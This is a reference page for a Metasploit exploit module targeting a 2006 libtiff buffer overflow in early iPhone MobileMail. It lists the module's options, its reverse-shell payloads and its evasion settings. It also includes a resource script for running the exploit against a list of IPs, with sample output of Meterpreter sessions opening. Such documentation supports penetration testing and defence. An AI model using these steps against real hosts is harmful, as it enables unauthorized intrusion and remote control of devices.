Apple iOS MobileMail LibTIFF Buffer Overflow - Metasploit


This page contains detailed information about how to use the exploit/apple_ios/email/mobilemail_libtiff metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

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Module Overview

Name: Apple iOS MobileMail LibTIFF Buffer Overflow
Module: exploit/apple_ios/email/mobilemail_libtiff
Source code: modules/exploits/apple_ios/email/mobilemail_libtiff.rb
Disclosure date: 2006-08-01
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): armle
Supported platform(s): OSX
Target service / protocol: smtp, smtps
Target network port(s): 25, 465, 587, 2525, 25000, 25025
List of CVEs: CVE-2006-3459

This module exploits a buffer overflow in the version of libtiff shipped with firmware versions 1.00, 1.01, 1.02, and 1.1.1 of the Apple iPhone. iPhones which have not had the BSD tools installed will need to use a special payload.

Module Ranking and Traits

Module Ranking:

  • good: The exploit has a default target and it is the "common case" for this type of software (English, Windows 7 for a desktop app, 2012 for server, etc). More information about ranking can be found here.

Basic Usage

Using mobilemail_libtiff against a single host

Normally, you can use exploit/apple_ios/email/mobilemail_libtiff this way:

msf > use exploit/apple_ios/email/mobilemail_libtiff
msf exploit(mobilemail_libtiff) > show targets
    ... a list of targets ...
msf exploit(mobilemail_libtiff) > set TARGET target-id
msf exploit(mobilemail_libtiff) > show options
    ... show and set options ...
msf exploit(mobilemail_libtiff) > exploit

Using mobilemail_libtiff against multiple hosts

But it looks like this is a remote exploit module, which means you can also engage multiple hosts.

First, create a list of IPs you wish to exploit with this module. One IP per line.

Second, set up a background payload listener. This payload should be the same as the one your mobilemail_libtiff will be using:

  1. Do: use exploit/multi/handler
  2. Do: set PAYLOAD [payload]
  3. Set other options required by the payload
  4. Do: set EXITONSESSION false
  5. Do: run -j

At this point, you should have a payload listening.

Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:

<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'

File.open(ip_list, 'rb').each_line do |ip|
  print_status("Trying against #{ip}")
  run_single("use exploit/apple_ios/email/mobilemail_libtiff")
  run_single("set RHOST #{ip}")
  run_single("set DisablePayloadHandler true")

  #
  # Set a payload that's the same as the handler.
  # You might also need to add more run_single commands to configure other
  # payload options.
  #
  run_single("set PAYLOAD [payload name]")

  run_single("run")
end
</ruby>

Next, run the resource script in the console:

msf > resource [path-to-resource-script]

And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:

msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80

RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199

[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600

[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600

Required Options

  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

  • RHOST: The SMTP server to send through

  • MAILTO: The TO address of the email

  • SUBJECT: Subject line of the email

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Msfconsole Usage

Here is how the apple_ios/email/mobilemail_libtiff exploit module looks in the msfconsole:

msf6 > use exploit/apple_ios/email/mobilemail_libtiff

[*] No payload configured, defaulting to osx/armle/shell/reverse_tcp
msf6 exploit(apple_ios/email/mobilemail_libtiff) > show info

       Name: Apple iOS MobileMail LibTIFF Buffer Overflow
     Module: exploit/apple_ios/email/mobilemail_libtiff
   Platform: OSX
       Arch: armle
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2006-08-01

Provided by:
  hdm <[email protected]>
  kf <[email protected]>

Available targets:
  Id  Name
  --  ----
  0   MobileSafari iPhone Mac OS X (1.00, 1.01, 1.02, 1.1.1)

Check supported:
  No

Basic options:
  Name      Current Setting     Required  Description
  ----      ---------------     --------  -----------
  DATE                          no        Override the DATE: field with this value
  DOMAIN                        no        SMTP Domain to EHLO to
  MAILFROM  [email protected]  yes       The FROM address of the e-mail
  MAILTO                        yes       The TO address of the email
  PASSWORD                      no        SMTP Password for sending email
  RHOST                         yes       The SMTP server to send through
  RHOSTS                        yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT     25                  yes       The SMTP server port (e.g. 25, 465, 587, 2525) (TCP)
  SUBJECT                       yes       Subject line of the email
  USERNAME                      no        SMTP Username for sending email
  VERBOSE                       no        Display verbose information

Payload information:
  Space: 1800
  Avoid: 0 characters

Description:
  This module exploits a buffer overflow in the version of libtiff 
  shipped with firmware versions 1.00, 1.01, 1.02, and 1.1.1 of the 
  Apple iPhone. iPhones which have not had the BSD tools installed 
  will need to use a special payload.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2006-3459
  OSVDB (27723)
  http://www.securityfocus.com/bid/19283

Module Options

This is a complete list of options available in the apple_ios/email/mobilemail_libtiff exploit:

msf6 exploit(apple_ios/email/mobilemail_libtiff) > show options

Module options (exploit/apple_ios/email/mobilemail_libtiff):

   Name      Current Setting     Required  Description
   ----      ---------------     --------  -----------
   DATE                          no        Override the DATE: field with this value
   DOMAIN                        no        SMTP Domain to EHLO to
   MAILFROM  [email protected]  yes       The FROM address of the e-mail
   MAILTO                        yes       The TO address of the email
   PASSWORD                      no        SMTP Password for sending email
   RHOST                         yes       The SMTP server to send through
   RHOSTS                        yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT     25                  yes       The SMTP server port (e.g. 25, 465, 587, 2525) (TCP)
   SUBJECT                       yes       Subject line of the email
   USERNAME                      no        SMTP Username for sending email
   VERBOSE                       no        Display verbose information

Payload options (osx/armle/shell/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.204.3    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   MobileSafari iPhone Mac OS X (1.00, 1.01, 1.02, 1.1.1)

Advanced Options

Here is a complete list of advanced options supported by the apple_ios/email/mobilemail_libtiff exploit:

msf6 exploit(apple_ios/email/mobilemail_libtiff) > show advanced

Module advanced options (exploit/apple_ios/email/mobilemail_libtiff):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   CHOST                                    no        The local client address
   CPORT                                    no        The local client port
   ConnectTimeout          10               yes       Maximum number of seconds to establish a TCP connection
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   Proxies                                  no        A proxy chain of format type:host:port[,type:host:port][...]
   SSL                     false            no        Negotiate SSL/TLS for outgoing connections
   SSLCipher                                no        String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
   SSLVerifyMode           PEER             no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion              Auto             yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   WORKSPACE                                no        Specify the workspace for this module

Payload advanced options (osx/armle/shell/reverse_tcp):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   AutoRunScript                                no        A script to run automatically on session creation.
   AutoVerifySession           true             yes       Automatically verify and drop invalid sessions
   CommandShellCleanupCommand                   no        A command to run before the session is closed
   CreateSession               true             no        Create a new session for every successful login
   EnableStageEncoding         false            no        Encode the second stage payload
   InitialAutoRunScript                         no        An initial script to run on session creation (before AutoRunScript)
   PayloadUUIDName                              no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                               no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                              no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking         false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries             0                yes       How many additional successful pingbacks
   PingbackSleep               30               yes       Time (in seconds) to sleep between pingbacks
   ReverseAllowProxy           false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                   no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                      no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                          no        The specific communication channel to use for this listener
   ReverseListenerThreaded     false            yes       Handle every connection in a new thread (experimental)
   StageEncoder                                 no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                    no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback       true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount            10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait             5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

Exploit Targets

Here is a list of targets (platforms and systems) which the apple_ios/email/mobilemail_libtiff module can exploit:

msf6 exploit(apple_ios/email/mobilemail_libtiff) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   MobileSafari iPhone Mac OS X (1.00, 1.01, 1.02, 1.1.1)

Compatible Payloads

This is a list of possible payloads which can be delivered and executed on the target system using the apple_ios/email/mobilemail_libtiff exploit:

msf6 exploit(apple_ios/email/mobilemail_libtiff) > show payloads

Compatible Payloads
===================

   #  Name                                   Disclosure Date  Rank    Check  Description
   -  ----                                   ---------------  ----    -----  -----------
   0  payload/generic/custom                                  normal  No     Custom Payload
   1  payload/generic/shell_reverse_tcp                       normal  No     Generic Command Shell, Reverse TCP Inline
   2  payload/osx/armle/execute/reverse_tcp                   normal  No     OS X Write and Execute Binary, Reverse TCP Stager
   3  payload/osx/armle/shell/reverse_tcp                     normal  No     OS X Command Shell, Reverse TCP Stager
   4  payload/osx/armle/shell_reverse_tcp                     normal  No     Apple iOS Command Shell, Reverse TCP Inline
   5  payload/osx/armle/vibrate                               normal  No     Apple iOS iPhone Vibrate

Evasion Options

Here is the full list of possible evasion options supported by the apple_ios/email/mobilemail_libtiff exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(apple_ios/email/mobilemail_libtiff) > show evasion

Module evasion options:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   TCP::max_send_size  0                no        Maxiumum tcp segment size.  (0 = disable)
   TCP::send_delay     0                no        Delays inserted before every send.  (0 = disable)

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References

See Also

Check also the following modules related to this module:

Related Nessus plugins:

Authors

  • hdm
  • kf

Version

This page has been produced using Metasploit Framework version 6.1.28-dev. For more modules, visit the Metasploit Module Library.

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